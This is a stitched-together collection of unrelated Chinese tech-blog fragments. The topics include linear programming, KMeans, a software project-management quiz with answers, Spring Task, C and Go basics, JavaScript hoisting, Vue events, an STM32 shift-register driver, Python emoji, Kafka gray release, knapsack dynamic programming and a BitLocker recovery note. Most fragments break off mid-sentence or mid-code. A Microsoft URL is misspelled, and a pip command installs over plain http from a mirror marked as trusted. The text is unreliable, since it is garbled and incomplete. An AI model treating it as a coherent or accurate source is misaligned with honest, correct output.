基本概念 线性约束条件:由多个不等式形成的约束条件(在线性规划中,其约束条件一定为非严格不等式,即 ≤ \le ≤或 ≥ \ge ≥,不允许出现 < < <和 > > >)线性目标函数:由多个变量x形成的函数线性规划问题:在线性约束条件下,线性目标函数求极值的问题可行解:满足线性约束条件下的解可行域:由所有可行解组成的集合最优解:使目标函数取得极值的可行解 标准型 max c T x s . t . A x ≤ b x ≥ 0 \begin{aligned}&\max c^Tx\\&s.t.Ax\le b\\&\quad \quad x\ge0\end{aligned} maxcTxs.t.Ax≤bx≥0
标准型中的线性规划是满足线性不等式约束的线性函数的最大化问题。其有以下几个特点:
目标函数是求解某个线性问题的最大值所有变量都具有非负约束不存在等式约束所有不等式约束都是 ≤ \le ≤而非 ≥ \ge ≥ 下面我们举例介绍如何将一个基本的线性规划问题转化为标准型,如果我们有线性规划问题:
最小化 − 2 x 1 + 3 x 2 -2x_1+3x_2 −2x1+3x2
满足约束 x 1 + x 2 = 7 x_1+x_2=7 x1+x2=7
本文目录 基本训练步骤关于KMeans的几个问题KMeans算法的目标函数是什么?KMeans算法是否一定会收敛?不同的初始化是否带来不⼀样的结果?K值如何进行选择? KMeans++KMeans的优缺点个人有关KMeans的奇思妙想 KMeas算法是一种聚类算法,同时也是一种无监督的算法,即在训练模型时并不需要标签,其主要目的是通过循环迭代,将样本数据分成 K K K类。
基本训练步骤 Step1:初始化 K K K个聚类中心(不必是真是的样本)Step2:分别计算所有样本点到这 K K K个聚类中心的距离,并把样本点划分至距离最近的groupStep3:针对于每个group,计算其组内的平均点作为新的聚类中心(例如用户有年龄、性别两个特征,针对于年龄特征直接求平均值即可,对于性别特征使用onehot编码,每个纬度都求其平均值即可)Step4:重复步骤2和3直到满足终止条件 其基本过程如下图所示:
关于KMeans的几个问题 KMeans算法的目标函数是什么? 已知观测集 ( x 1 , x 2 , . . . , x n ) (x_1,x_2,...,x_n) (x1,x2,...,xn),其中每个观测都是一个d维实向量,k平均聚类要把这 n n n个观测划分到 K K K个集合中 ( K ≤ n ) (K≤n) (K≤n),使得组内平方和最小。换句话说,它的目标是找到使得下式满足的聚类 S i S_i Si:
arg min S ∑ i = 1 K ∑ x ∈ S i ∣ ∣ x i − μ i ∣ ∣ 2 \argmin_S\sum\limits_{i=1}^K\sum\limits_{x\in S_i}||x_i-\mu_i||^2 Sargmini=1∑Kx∈Si∑∣∣xi−μi∣∣2
一、填空题 1、项目是为创造独特的产品、服务或成果而进行的临时性的工作。
2、PMBOK(2016)将项目管理分为五个过程组,即启动、计划、执行、控制和收尾,
与十大知识领域(整合管理、范围管理、时间管理、成本管理、质量管理、人力资源管理、沟通管理、风险管理、采购管理、干系人管理。)。
3、国际标准ISO8042综合将软件质量定义为:反应实体满足明确的和隐含的需求能力的特性的总和。
4、国际标准化组织:“是一个组织以质量为中心,以全员参与为基础,目的在于通过让顾客满意和本组织所有成员及社会受益而达到长期成功的一种质量管理模式”。
5、根据McCall质量模型,影响软件质量的因素可以从产品运行、产品修改和产品转移三个维度来衡量。
6、控制界限:通常设置在离过程均值±3σ的位置,如果某个数据点超出控制界限,或连续7个点落在均值上方或连续7个点落在均值下方,过程已经失控。
7、PDCA循环就是按照规划、实施、检查、处理的顺序进行质量管理,并且循环不止地进行下去的科学程序。
8、ISO 9000、CMMI、PDCA循环、6σ等质量管理的标准、方法都具有的一个共同理念为持续改进。
9、如果质量达到6σ,每百万个机会当中缺陷率或失误率不大于3.4个。
10、软件审计是对软件开发过程或软件产品的独立质量评估。
11、项目团队知识地图(Knowledge Map, KM)是描述企业所拥有的知识资产的指南。
12、根据塔克曼的团队发展模型,团队建设通常要经过形成阶段、震荡阶段、规范阶段、成熟阶段与解散阶段。
13、马斯洛将人的需要分为生理需要、安全需要、社会需要、尊重需要和自我实现需要五个层次,当下一个层次的需要被满足之后,这一需要就不再是激励的因素了,而更高层次的需要就成为新的激励因素。
14、挣值(Earned value,EV)是使用“计划价格”或“预算价格”表示已完成实际工作量的一个成本变量。
15、COCOMO模型的核心方程是开发工作量ED = rSc和开发进度TD = a(ED)b,其中,经验常数r、c、a和b的值取决于软件项目的总体类型即结构型、半独立型、嵌入型。
16、项目范围:为了交付一定特征和功能的产品或服务所应做的工作,即,要做什么,不做什么,如何才能实现项目的目标。
17、需求跟踪矩阵是一张连接需求与需求源的表格,以便在项目生命周期中对需求进行跟踪;
18、项目范围定义是把项目的主要可交付成果划分为较小的、更易管理的单位,项目范围定义的主要工具:工作分解结构(WBS)。
19、工作分解结构(work breakdown structure,WBS)即把项目整体分解成较小的、易于管理和控制的组件或工作单元的过程,直到可交付成果定义得足够详细,足以支撑项目活动,如资源需求计划、工期估计、成本估计、人员安排和跟踪等。
20、范围核实是正式验收已完成的项目可交付成果的过程。通常在项目或项目阶段末进行,与项目验收同时进行。
21、ANSI/IEEE Std729-1983将软件质量定义为:软件产品满足规定的和隐含的需求能力有关的特征或特性的全体。
22、项目经理确定了一个最好情况,一个最有可能的情况,以及一个最坏情况,然后他使用一个公式得出项目的预期成本,他使用的方法是三点估算法。
二、选择题 单选题 1、下列选项中不是项目与日常运作的区别的是
A、项目是以目标为导向,日常运作是通过效率和有效性体现的
B、项目是通过项目经理及其团队工作完成的,而日常运作是职能式的线性管理
C、项目需要有专业知识的人来完成,而日常运作的完成无须特定专业知识
D、项目是一次性的,日常运作是重复进行的
正确答案: C
2、下列选项中属于项目的是( )
A、上课
B、社区保安
C、开发一个软件
D、每天的卫生保洁
正确答案: C
3、下列选项中正确的是
A、一个项目具有明确的目标而且周期不限
B、一个项目一旦确定就不会发生变更
C、每个项目都有自己的独特性
D、 项目都是一次性地由项目经理独自完成
正确答案: C
2、关于软件项目投资方进行Make or Buy 决策,下列表述正确的有:
A、 自主开发成本一定最低
B、 优先考虑开发成本,兼顾质量、时间、风险及开发能力等
C、 外包开发更好
1、本篇博客的背景和目的 目前我本人正在学习SpringFramework的知识,这也是这个专栏的主题。我前面的几篇博文中,简单的认识了一下SpringFramework,记录了SpringFramework的环境搭建,记录了SpringIOC如何加载配置文件,记录了SpringIOC三种Bean对象的实例化方法。还记录了SpringIOC手动装配(注入)的方法之一:set方法注入。还有另外三个不太常用的SpringIOC手动注入的方法。其实目前大部分都使用的是自动注入的方法,手动注入使用的不多。就算是使用手动注入的方法,使用的主流也是:set方法注入。自动注入的方法主要是使用两个注解,@Autowired注解或者是@Resource注解。两个注解我都记录到了。还记录了如何使用SpringIOC扫描器,SpringIOC中Bean对象的作用域和生命周期。本篇博客记录一下SpringTask的概念和简单使用。
2、我的上一篇博文 SpringIOC中Bean对象的作用域和生命周期_你是我的日月星河的博客-CSDN博客https://blog.csdn.net/weixin_46281472/article/details/125238354?spm=1001.2014.3001.5501
3、定时任务的概念和实现工具 定时任务比较容易理解,简单的说就是定时发送邮件,发送短信等。比如中国联通在每月的10号给你发送上个月的账单信息。
下面先粘贴两张图:
在我们实际工作中,开发定时任务还是一个比较常见的需求, 在JAVA中,开发定时任务主要有三种解决方案:
可以使用JDK自带的Timer,可以使用第三方的组件 Quartz,可以使用Spring Task
Timer是JDK自带的,比较简单,也不复杂,但是太简单了,复杂一点的定时规则无法满足,很少用;
Quartz功能很强大,但是太强大了,比较重;
Spring Task就用的比较多了,功能适中,也不算很重,是Spring家族的,兼容性好;
我们使用SpringTask开发定时任务,那就需要配置;配置的话就有两种配置方式:使用XML配置文件配置,或者使用注解配置;
4、使用XML配置文件实现定时任务——讲解思路 首先需要我们引入依赖,主要引入下面图片中的依赖:
我们先在XML文件里面配置好扫描器和扫描范围,前面我详细记录过,如下图所示: 后面所有的类都要放在扫描范围之内的。
然后我们就要写一个定时任务的类,就像是一个Service类一样,把我们想要定时处理的业务逻辑写在这个类的方法里面;这个类也要交给SpringIOC容器管理;定时任务类代码如下所示:
但是这里还要多说一下,我们既然要使用XML的配置方式,那么还需要对XML文件的文件头做一下修改,加上定时任务需要的文件头;如下图所示:
然后对于我们上面已经建好的定时任务类,还要在XML文件中写一些标签配置一下定时任务,如下图所示:
最后,我们在Main方法中进行必要的测试:
5、使用XML配置文件实现定时任务——我的实现代码 先看一下我的代码的结构,如下图所示:
主要的任务类是TaskJob和TaskJob02。TaskJob类是为了实现XML配置文件实现定时任务而写的,TaskJob02是为了使用注解方式实现定时任务而写的。下面先主要使用TaskJob类。
首先是我的POM文件,代码如下(主要就是Spring的核心依赖):
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.dcy</groupId> <artifactId>spring_task1</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>11</maven.compiler.source> <maven.compiler.target>11</maven.compiler.target> </properties> <dependencies> <!-- Spring的核心依赖 --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>5.2.12.RELEASE</version> </dependency> </dependencies> </project> 然后是我们的定时任务类,里面有定时任务的方法,也就是实现定时任务的业务处理逻辑,代码如下所示:
package com.dcy.job; import org.springframework.stereotype.Component; import java.text.SimpleDateFormat; import java.util.Date; @Component //这个注解的意思就是 将我们的这个类交给我们的IOC容器进行实例化 public class TaskJob { public void job1(){ System.
常用的库函数 1.前言2.内容1.toupper()2.tolower()3.sprintf()4.abs()5.fabs()6.labs()7.scanf()8.itoa() 3.小声bb4.更新日志 1.前言 在刷题过程中,总能看到dl用一些库函数,简化算法,由此萌生慢慢学习整理常用的库函数的想法,本文目前仅为了自用而整理,欢迎指正。
有些函数的学习是在 菜鸟教程 上进行的,网站做的还是挺良心的,附个链接吧(没有打广告!!!)
(整理顺序按学习顺序,后续可能会调整 3.24 )
3.29 : 中间某些函数在实际题目中遇到了,则会整理进去,点击题目链接就可以跳转练习了
2.内容 1.toupper() 头文件:#include <ctype.h>
作用: 将小写字母转换为大写字母
声明: int toupper(int c);
参数:c (要被转换为大写的字母)
返回值:返回值是一个可被隐式转换为char类型的int值
如果c有相应的大写字母,则该函数返回c的大写字母,否则c保持不变。
实例代码:
#include <stdio.h> #include <ctype.h> //头文件 int main() { int i = 0; char str[] = "hello Woeld!"; while (str[i]) { putchar(toupper(str[i])); //逐个输出转换为大写的字母 i++; } return 0; } 2.tolower() 头文件:#include <ctype.h>
作用:将给定的字母转换为小写字母
声明:int tolower(int c);
参数: c (被转换为小写的字母)
返回值: 可被隐式转换为char类型的int值
实例:
我们先看两个相似的代码
a = 2; var a ; console.log(a); console.log(a); var a = 2; 第一个输出的是2
第二个输出值为underfined
大家可能为会好奇这是为什么呢?
下面我们来研究一下
这是因为变量和函数在内的所有声明都会在任何代码被执行前首先被处理
所以第一个代码实际上是这样处理的
var a; a = 2; console.log(a); 第二个代码是这样处理的
var a ; console.log(a); a = 2; 这个过程就好像变量和函数声明从它们在代码中出现的位置被“移动”到了最上面。这个过程就叫做提升
注意:只有声明本身会被提升,而赋值或其他运行逻辑会留在原地。如果提升改变了代码执行的顺序,会造成非常严重的破坏。函数声明可以提升,函数表达式不可以提升,
函数优先 函数声明和变量声明都会被提升,但是在重复声明的代码中函数会首先被提升,然后才是变量
foo();//1 var foo; function foo() { console.log(1); } foo = function() { console.log(2); } 这个会输出1而不是2,这段代码会被引擎理解成下面格式
function foo(){ console.log(1); } foo(); // 1 foo = function(){ console.log(2); } 这里var foo尽管出现在function foo()......的声明之前,但是因为它是重复的声明(因此被忽略了)因为当有重复声明时,函数声明会优先于变量声明被提升。
子组件中 点击<li>,传输当前列的数据,当前<li>绑定click事件,把需要传输的参数作为click事件的参数。
<ui> <li ref="groupRef" v-for="item in group.list" :key="item.id" class="item" @click="singerDetail(item.mid)" > <span class="avatar" > <el-image :src="item.pic" lazy /> </span> <a class="name">{{item.name}}</a> </li> <el-divider style="width: 100%" border-style="dashed" /> </ui> 在<script>标签体中定义emits,emits的定义是与component、setup等这些属性是同级
emits:['select', 'xxx'], 在setup( )中实现click事件,绑定自定义事件(注意:setup()的参数需要 props 和 { emit } )
setup(props,{ emit }) { const singerDetail = item => { emit('select', item) // console.log('item = ' + item) } return{ singerDetail } } 完整<script>代码:
父组件中 在需要使用的组件中实现自定义函数,let一个值接收参数,
selectSinger(singer){ let mySelectSinger = singer; // console.
🍌
🍌🍌
作者简介:大家好啊,我叫DW,每天分享一些我新学到的知识,期待和大家一起进步
🍋
🍋🍋
系列专栏:STM32
🍎
🍎🍎
🍎🍎🍎
🍎小实验目标:利用两片SN74HC595芯片驱动四位数码管🍎
🍊如有写得不好的地方欢迎大家指正🍊
🍊开发板:正点原子STM32F103Mini版🍊
🍊芯片:SN74HC595N🍊
创作时间:🍊🍊🍊2022年5月10日🍊🍊🍊 在上一篇文章中,我们利用74HC138N译码器成功点亮了四位数码管,这个方法用到了很多的GPIO口。那么还有没有其他的方法可以减少IO口的使用呢?答案是有的,本节我们将使用两片74HC595芯片驱动四位数码管,大家注意了啊,利用该芯片只需要用到三个IO口即可驱动四位数码管。
1. 74HC595简介 74HC595是一个8位串行输入、并行输出的位移缓存器:并行输出为三态输出。在SCK(11) 的上升沿,串行数据由SI(14)输入到内部的8位位移缓存器,并由SQH(9)输出,而并行输出则是在RCK(12)的上升沿将在8位位移缓存器的数据存入到8位并行输出缓存器。当串行数据输入端OE的控制信号为低电平使能时,并行输出端的输出值等于并行输出缓存器所存储的值。
小提示:
有些引脚名称不一样,但是序号是一样的,大家按键引脚标号连接即可。
由于我们使用了两片74HC595芯片,故我们需要采取级联的方式。那么,我们想要发送的数据是如何通过该芯片然后点亮数码管呢?其实很简单了,大家请看下面的图解吧。
第一块芯片的9引脚(串行数据输出引脚)连接第二块芯片的14引脚(数据线); 当我们发送第一个数据时,数据先送到第一块595芯片,之后数据通过第9脚连接第14脚再传送给第二块芯片,之后发送的第二个数据会送到第一块芯片。因此,发送数据时,第二块芯片接收的是第一次的数据,第一块芯片接收的是第二次的数据。我们发送的数据会存储到595,之后通过第二片595的QA~QH引脚把数据发送给四位数码管,并在上面显示对应的数据。
四位数码管和两片595的接线图如下,如果这样接线的话比较麻烦,我建议大家直接购买75HC595驱动四位数码管的模块,这个可以省去接线的麻烦,动手能力强的可以直接买芯片在面包板插接。
提示:
第一片芯片:1、2、3、15引脚插接四位数码管的位选1~4,高电平有效,它用来选择哪个数码管点亮
第二片芯片:15、1~7引脚插接四位数码管的a~h引脚,用来点亮数码管对应的位置
两个芯片的SCLK、RCLK需要相互连接
共阳极四位数码管:低电平点亮
其他的按照上图连接即可,如果买的是模块的话,直接连接SCLK(11)、RCLK(12)、SER(14)即可。
2. 595具体使用的步骤 第一步:将要准备输入的位数据(8bit)从14引脚SER移入74HC595数据输入端上。
第二步:将位数据逐位移入74HC595,即数据串入,此操作需要时钟驱动,SCK产生一上升沿,将14引脚SER上的数据移入74HC595移位寄存器中,先送高位,后送低位,经过8个上升沿后,8bit全部送入移位寄存器了。
第三步:将移位寄存器里的数据送入存储寄存器,引脚12(RCK)产生一个上升沿后,该操作就完成了。
第四步:使能端引脚13(G’)为低电平,则第三步送入存储寄存器的8bit数据(一个字节)就在QH-QA并行输出,此时输出的数据会被所存起来。
注意:数据并行输出后,只要没有数据更新进来,原输出的数据保持不变,就是所谓的锁存。在完成步骤一二三后,只要步骤四还没使能,输出都是保持不变的,当13(G’)一使能,新的数据就输出覆盖旧输出。
提示:
该连线图有些引脚名字和之前的两幅图的引脚名字有些不同,但是引脚标号是一样的,大家按照标号连接即可
上节课的文章:14.[STM32]数电学了三八译码器一脸懵,一文带你从理论到实践_依点_DW的博客-CSDN博客 在上节课的基础上,我们只需要稍加修改就可以利用595驱动四位数码管了。
//发送一个字节的数据 void SMG_Write_Byte(u8 dat,u8 dat1){ for(u8 i=0;i<8;i++){ ((dat<<i)&0x80) ? DIO_HIGH:DIO_LOW; SCL_HIGH; SCL_LOW; } for(u8 i=0;i<8;i++){ ((dat1<<i)&0x80) ? DIO_HIGH:DIO_LOW; SCL_HIGH; SCL_LOW; } RCL_HIGH; RCL_LOW; } //显示数字 void DW_Smg_Number(u16 dat){ u8 code[]={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90,0x88,0x83,0xc6,0xa1,0x86,0x8e}; //0-F //动态显示0~F // for(u8 i=0;i<16;i++){ // SMG_Write_Byte(code[i],0x0F); //控制位选,选择第1~4个数码管:0000 1111 --0X0F // delay_ms(1000);//延时短刷新会很快 // } //显示0~F任意字符 SMG_Write_Byte(code[dat/1000],0x08);//千位 0000 1000 delay_ms(1); SMG_Write_Byte(code[dat%1000/100],0x04);//百位 1111 1011 delay_ms(1); SMG_Write_Byte(code[dat%100/10],0x02);//十位 1111 1101 delay_ms(1); SMG_Write_Byte(code[dat%100%10],0x01);//个位 1111 1110 delay_ms(1); } 好了,大家一起来看看效果吧!
文章目录 一、前言二、安装和使用 1. 安装2. 两个函数 三、实践四、结语 一、前言 如下表情你可能都见过
还记得曾经被 “滑稽” 刷屏的场景吗?
在这个各种表情包横行的时代,emoji表情依然占据了一定的地位!
这篇文章将带你了解一下,python与 emoji 表情之间的会有怎样的联系!
有时候在代码中加入一些有趣的操作可以使得友好度上升好几个Level,正好了解到 Python 支持 emoji 表情的输出,实现方式相当简单。
表情符号和社交媒体:
表情符号可以增强任何用户的体验。它们总是有一席之地,从休闲社交媒体的使用到顶级营销策略。无论你是与不同部门沟通的设计团队的一员,还是与企业的社交媒体经理,或者介于两者之间的人。表情符号有助于传达语气和意图,而这两者在网上交流时往往会被翻译掉。现在有好几代人都是在表情符号的陪伴下长大的。表情符号不再是你可以忽略的额外的风格,而是很多在线用户每天交流中不可或缺的一部分。如果你仍然怀疑,花几分钟点击一下 Facebook 或 Twitter!你只要滚动一个页面就会看到很多表情符号。所以,下次当你考虑对社交媒体进行彻底改革或为你的在线营销活动寻找一个全新的角度时,请在我们的表情符号小抄中找到最完美的表情符号! 二、安装和使用 1. 安装 emoji库的官方文档:传送门
安装 emoji 库
pip install emoji -i http://pypi.douban.com/simple --trusted-host pypi.douban.com 2. 两个函数 emoji库主要有两个函数:
emojize():根据 code 生成 emoji 表情demojize():将 emoji 表情解码为code 三、实践 import emoji # 默认的表情可以直接通过表情的字符实现 result1 = emoji.emojize('Python is :thumbs_up:') # Python is ?? result1 # 有些特殊的表情需要指定 use_aliases=True 参数才可以实现 # Sleeping is ?
导语 哈喽哈喽!我是木木子!
每日更新游戏不知不觉已经很多啦~
Python兴趣始于游戏,所以更新的文章中基本上都是游戏代码居多。
然后我疯狂的找各种小游戏、小脚本、小项目的教程源码什么的,然后自己进行学习、制作、修改等等。
于是我就疯狂的找呀找呀学呀学呀,现在就有一大堆,哈哈哈,所以今天是准备稍稍的整理下,感觉比较乱。
提示:爱学习哦,不要沉迷游戏,平时打发一下无聊时间最好啦
文章末尾有惊喜有全部的游戏代码一键可免费领取哈! 正文 往期更多文章欢迎阅读:
1.成语接龙游戏项目。2.塔防游戏项目。3.记忆翻牌游戏项目。4.吃豆豆小游戏项目。
5.外星人入侵游戏项目。6.数织游戏项目。7.脑力锻炼游戏项目。8.垃圾分类小游戏项目。
9.雷霆战机游戏项目。10.”我的兔子“游戏项目。11.八音符游戏项目。12.拼图小游戏项目。
13.滑雪小游戏项目。14.桌面宠物项目。15.无敌金身小恐龙。16.坦克大战游戏项目。
17.走迷宫游戏项目。?18.像素鸟游戏项目。19.21款python一行代码小游戏?20.贪食蛇游戏。
21.打地鼠游戏项目。22.测试打字游戏项目。23.俄罗斯方块。24.会说话的汤姆猫。
25.飞机大冒险。26.21点纸牌游戏。27.抽奖小游戏。 更多游戏敬请期待。
下面是随机挑选的几款游戏的代码效果截图如下。 坦克大战:
贪吃蛇:
tom猫:
吃豆豆:
塔防游戏:
外星人入侵:
打地鼠:
飞机大冒险:
成语接龙:
像素鸟:
俄罗斯方块儿:
总结 制作不易,记得一键三连哦!!如果有喜欢的游戏记得关注小编、点点赞哦~
你们的支持是我最大的动力~
如果需要本文完整的代码+图片素材。
Python新手安装包、免费激活码、等等更多Python资料
本文完整项目——???源码基地:关注小编获取哦~??记得三连吖
背景 2022年6月8日的时候,有服务需要进行灰度发布,但是,这些服务使用到了Kafka,所以无法像普通的http服务那样使用nginx进行引流。
所以,那些HW的大佬就在会议上讨论了,最终也没有得出一个方案出来。
但是,我想到了一个方案,但是又想想在项目组中的待遇,算了算了,何必多管闲事,说出来也不会改变什么,现在周末有空了,我还是以博客的方式记下自己的方案,毕竟是是自己想出来了,仅供参考。
kafka服务调用 生产环境服务调用 灰度发布服务调用 kafka灰度发布的难点 因为消费者监听同一个topic,灰度节点的生产者/Kafka无法实现把消息送到指定的消费者服务中。
灰度实现方案 方案说明:
保证在服务B处的监听topic1的方法A处,通过消息体以及查询数据库,判断该服务节点是否为灰度节点。如果是灰度节点/非灰度节点,就把消息转发到kafka上,注意,这时候的topic必须和灰度节点/非灰度节点的IP绑定或者关联的,topic必须保证唯一。最后,服务B也监听一个以自己IP关联的topic进行消费。 总结 经过了二次转发,可能会导致消息的丢失,所以需要根据业务确定是否应该开启消息确认机制。如果消息量特别大,建议kafka集群需要准备2个。
1、指针概念 指针也是一个变量,但它是一种特殊的变量,因为它存储的数据不仅仅是一个普通的值,如简单的整数或字符串,而是另一个变量的内存地址,如下图:
2、指针定义 package main import "fmt" func main() { var a int = 10 var p *int p = &a fmt.Printf("%p\n", &a) fmt.Printf("%p\n", p) fmt.Printf("%d\n", *p) } 输出结果:
0xc0000ac058 0xc0000ac058 10 注意事项:
3、new函数使用 package main import "fmt" func main() { var p *int p = new(int) *p = 67 fmt.Println(*p) } 4、指针作为函数参数 交互a、b的值
package main import "fmt" //func swap(a int, b int) { // a, b = b, a //} //函数参数为指针类型 func swap(a *int, b *int) { //*a 值 //*a, *b = *b, *a temp := *a *a = *b *b = temp } func main() { a := 10 b := 20 //不能交换a b 的值 值传递 //swap(a,b) //指针作为函数参数是地址传递 swap(&a, &b) fmt.
目录
一:什么是线性表
1:线性表
1.1:什么是顺序表
二:顺序表的一般操作
2.2 一般的线性操作有以下几种
2.3 实际代码
2.3.1 线性表L的初始化
2.3.2 销毁线性表
2.3.3 清空线性表
2.3.4 顺序表的取值(根据i位置获取相应位置数据元素的内容)
2.3.4 查找某一个元素
2.3.5 :顺序表的插入
三:链表和基础操作
3.1 引:一个链表的实例:
3.2 链表的链式存储结构:
3.3 链表的操作
3.3.1 单链表的存储结构
3.3.2 单链表的基本操作
3.3.4 判断链表是否为空
3.3.5 单链表的销毁:销毁后链表不存在
3.3.6 清空单链表
3.3.7 求单链表的表长
3.3.8 取值 一 取单链表中第i个元素的内容
3.3.9 单链表的查找 按值查找 :获得该数据的地址或者第几个数据元素
3.3.10 插入 : 在第i个结点前插入值为e的新结点
3.3.11 单链表中的删除操作 -删除第i个结点
3.3.12 查找插入删除算法分析
3.3.13 单链表的建立 头插法(前插法)
3.3.14 单链表的建立 尾插法(后插法)
一:什么是线性表 1:线性表 线性表(linear list)是n个具有相同特性的数据元素的有限序列。 线性表是一种在实际中广泛使用的数据结构,常见的线性表:顺序表、链表、栈、队列、字符串 线性表在逻辑上是线性结构,也就说是连续的一条直线。但是在物理结构上并不一定是连续的,线性表在物理上存储时,通常以数组和链式结构的形式存储。
vscode中Apollo代码调试方法 设置步骤: 设置步骤: 1、copy以下4个文件至当前工作目录下的.vscode文件夹下
launch.json、setttings.json、c_cpp_properties.json、tasks.json
2、选择vscode软件的Run/Add Configuration…,然后选择C/C++:(gdb)Launch
然后需要配置launch.json文件,上面已经配置好,并已经复制到当前工作目录下的.vscode文件夹下面了,文件内容如下
{ // Use IntelliSense to learn about possible attributes. // Hover to view descriptions of existing attributes. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 "version": "0.2.0", "configurations": [ { "name": "debug fusion", "type": "cppdbg", "request": "launch", "program": "/project/thirdparty/X86_64/cyber/bin/mainboard", "args": [ "-d", "perception_fusion/middle_ware/cyber/dag/perception_fusion.dag" ], "stopAtEntry": false, "cwd": "${fileDirname}", "environment": [], "externalConsole": false, "MIMode": "gdb", "setupCommands": [ { "description": "为 gdb 启用整齐打印", "text": "-enable-pretty-printing", "
docker ps 找到对应容器名 docker inspect [container name] 查询容器信息 IPAddress 对应的 ip 即为当前容器的 ip。
文章收藏的好句子:你在书本上花的任何时间,都会在某一个时刻给你回报。
目录
1、动态规划算法的概述
2、背包问题
3、动态规划算法解决背包问题
3、1 不可重复装入商品
3、2 思路分析
1、动态规划算法的概述
(1)动态规划算法的思想是:将大问题分为小问题进行解决,使得一步步获得最优解的处理算法。
(2)动态规范算法与分治算法很类似,思想都是以待解决问题先分解成 n 个子问题,先求解子问题,然后从子问题中得到原问题的解。
(3)动态规划求解的问题与分治算法不同的点在于,经过分解出来的子问题不是相互独立的,下一个子问题的求解是建立在上一个子问题解决的求解基础上的,依次递进获取最终解。
(4)动态规划可以通过填表的方式一步步推进,最终得到最优解。
2、背包问题
这里就有一个背包问题了,有一个容量为4磅的背包,需要装入如下表1的物品,怎样才能使装入包中的商品最值钱且不超过4磅重?
3、动态规划算法解决背包问题
上面的背包问题,放入商品的总质量不能超过4磅且要实现背包装入商品价值的最大化,这里假设放入的商品是不能重复的, 可用一个二维表格来表示。
3、1 不可重复装入商品
我先画一个表格2,然后会对这个表格2进行详细的说明,如下所示;
说明:列表示背包能装多大的重量,横表示物品的类型和商品数量,行和列交叉而出现的数据表示背包能装的物品总和的最大价值。
好,我们现在对表2的数据分析一下,第一行的数据全部为0,这个可以理解吧?不管背包能放多大的重量,只要不放入物品,那就是0咯;第一列的数据全部为0,是因为背包能装0磅;我们看第二行第二列的数据到第二行第五列的数据,首先第二行能放的物品只能是鞋子且不能重复对不对?那不管背包(装的重量大于等于1磅)能装多少磅的物品,都是只能放1磅的鞋子对不对?那自然就是1500了。
我们看第三行第二列到第三行第五列的数据,第三行能放入的物品是鞋子、音响且同一个物品不能放超过1个,第三行的第二列到第三行的第四列只能放1磅的鞋子,放不下音响(音响4磅重),所以就是1500了,而第三行的第五列刚好能放4磅的音响,而且放一个音响比放一双鞋子更值钱对不对?
第四行可以放的商品有鞋子、音响和电脑,好,现在看第四行的第二列到第四行的第三列,由于第二列和第三列是只能装1磅和2磅对不对?那就只能放一双鞋子了,所以就是1500了;第四行的第四列能装3磅,那就是可以放一双鞋子或者一台电脑,由于电脑比鞋子更值钱对不对,所以放电脑更好点,所以就是2000了;看第四行的第五列,背包可以装4磅,那这里面就有较好一点的两种方案选择了,一种是放一双鞋子和一台电脑,另一种是只放一台音响,一看放一双鞋子和一台电脑的方案更值钱对不对,所以是1500+2000就是3500了。
从表2可以小结一下
(1)横行表示背包容量从0到指定容量的各种情况,这是第一步的分,将大容量的背包先转化为小容量背包,算出子问题的最优解,然后一步步加大容量,算出最终问题的最优解。
(2)纵行表示商品信息,且第一横行为空值,作为初始数据的对比值;纵行是第二步的分,先将一个商品放入背包中,算出最优解,逐渐增加商品类型和商品数量,算出最终最优解。
(3)最终表格的最右下角的格子,即为数据的最优解;看表2最右下角的数据3500,是不是最优解。
3、2 思路分析
(1)利用动态规划来解决,假设给定的 n 个物品,设 v[i]、 w[i] 分 别为第 i 个商品的价值和重量,C 为背包的容量。
(2)每次遍历到的第 i 个商品,根据 w[i] 和 v[i] 来确定是否需要将该商品放入背包中;这句话说的是什么意思呢?我举个例子,你们就理解了,看表2的第四行的第四列的2000这个数据,首先第四列背包最大容量是3磅对不对?第四行能放的商品有鞋子、音响和电脑对不对?但是音响比背包的容量更大,所以就只能放鞋子和电脑,鞋子和电话的重量和超过3磅对不对,所以又只能从鞋子和电脑里面挑选一个放进去,由于电脑比鞋子更值钱对不对?所以放电脑价值更大对不对?所以是根据 w[i] 和 v[i] 来确定是否需要将该商品放入背包中。
(3)再令 v[i][j] 表示在前 i 个商品中能够装入容量为 j 的背包中的最大价值;这句话又是什么意思啊?我再举个例子,看表2的第三行第五列的3000,这时候 i 就是2,j 就是4,v[i][j] 就是 v[2][4],也就是 v[2][4] 为3000;第二行只能装的商品是鞋子对不对?第三行能装入的商品包含第二行装入的商品,也就是说第三行能选择装入的商品是鞋子和音响;如果鞋子和音响同时放入背包(背包容量为4磅,j=4)肯定是装不下的对不对?所以从鞋子和音响里面选最值钱的放入背包中,所以就是 v[i][j] 表示在前 i 个商品中能够装入容量为 j 的背包中的最大价值。
Game202-高质量实时渲染作业1笔记 一、作业描述二、解决方法1、 投影变换2、硬阴影3、PCF4、PCSS 三、总结四、参考和,引用 一、作业描述 先渲染出模型,然后实现硬阴影,再实现PCF(Percentage Closer Filter) 和PCSS(Percentage Closer Soft Shadow)。
二、解决方法 代码来自参考引用,这里不贴了。
1、 投影变换 坐标的相对位置不变,光线是平行的,将物体变换到 [ − 1 , 1 ] 3 [-1,1]^3 [−1,1]3的立方体中(即坐标范围为[-1,1])。
M o r t h o = ( 2 r − l 0 0 − r + l r − l 0 2 t − b 0 − r + b r − b 0 0 2 n − f − n + f n − f 0 0 0 1 ) M_{ortho}=\left(\begin{matrix} \frac{2}{r-l}&0&0&-\frac{r+l}{r-l}\\ 0&\frac{2}{t-b}&0&-\frac{r+b}{r-b}\\ 0&0&\frac{2}{n-f}&-\frac{n+f}{n-f}\\ 0&0&0&1 \end{matrix} \right) Mortho=⎝⎜⎜⎛r−l20000t−b20000n−f20−r−lr+l−r−br+b−n−fn+f1⎠⎟⎟⎞
http://windowr.microsoft.com/recoverykeyfaq
直接点在另一台设备上登录到 Microsoft 帐户以查找恢复密钥。发现无法登入学校邮箱注册的微软账号。(说我的微软账号不存在)
需要从另外一个通道登入微软账号:
登入成功后点击管理设备:
